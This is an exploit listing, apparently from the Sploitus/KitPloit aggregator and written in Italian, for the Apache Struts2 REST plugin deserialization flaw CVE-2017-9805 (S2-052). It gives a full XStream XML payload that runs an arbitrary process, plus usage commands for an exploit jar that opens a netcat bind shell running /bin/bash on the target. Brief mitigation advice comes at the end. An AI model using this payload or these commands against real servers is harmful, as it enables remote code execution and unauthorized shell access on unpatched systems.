Sploitus

Exploit for S2-052

CVE-2017-9805

kitploit ¡ 2026-08-26

Exploit Code

MARKDOWN82 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BEYONDCY-S2-052
# CVE-2017-9805 （S2-052）Exploit di Reverse Shell

## Versioni interessate

root@kitploit:~
    
    
    Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
    

## PoC

root@kitploit:~
    
    
    Content-Type: application/xml
    
    <map>
    <entry>
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    </map>
    
    Windows <command><string>calc</string></command>
    
    Mac <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>
    

## Dettagli sulla riproduzione della vulnerabilitĂ 

https://secfree.com/article-333.html

## Installazione di Nc su CentOs 7

root@kitploit:~
    
    
    rpm -ivh netcat-1.10-891.2.x86_64.rpm
    

## Opzioni

root@kitploit:~
    
    
     [*] Apache Struts2 CVE-2017-9805 (S2-052) - Exploit
     [*] 0day Info:https://secfree.com/article-333.html
     [*] Use:        <targetUrl> <command>
     [*] Author:  www.secFree.com Team By Bearcat
    

## Utilizzo

root@kitploit:~
    
    
    java -jar CVE-2017-9805-Exploit.jar http://192.168.199.246:8080/struts2-rest-showcase/orders.xhtml "nc -l -p 6666 -e /bin/bash"
    
    nc 192.168.199.246 6666
    

![exploit](https://raw.githubusercontent.com/iBearcat/S2-052/master/exploit.jpg?raw=true)

Questo Exploit esegue solo il reverse shell, per l'esecuzione di comandi con output vedere https://github.com/luc10/struts-rce-cve-2017-9805

## Soluzione di mitigazione

  1. Si consiglia di aggiornare alla versione 2.5.13.

  2. Eliminare il plugin Struts REST quando non in uso, o limitarlo alle pagine normali e ai JSON del server:




root@kitploit:~
    
    
    <constant name=”struts.action.extension” value=”xhtml,,json” />
    

  3. Limitare i tipi di estensione lato server, rimuovendo il supporto XML.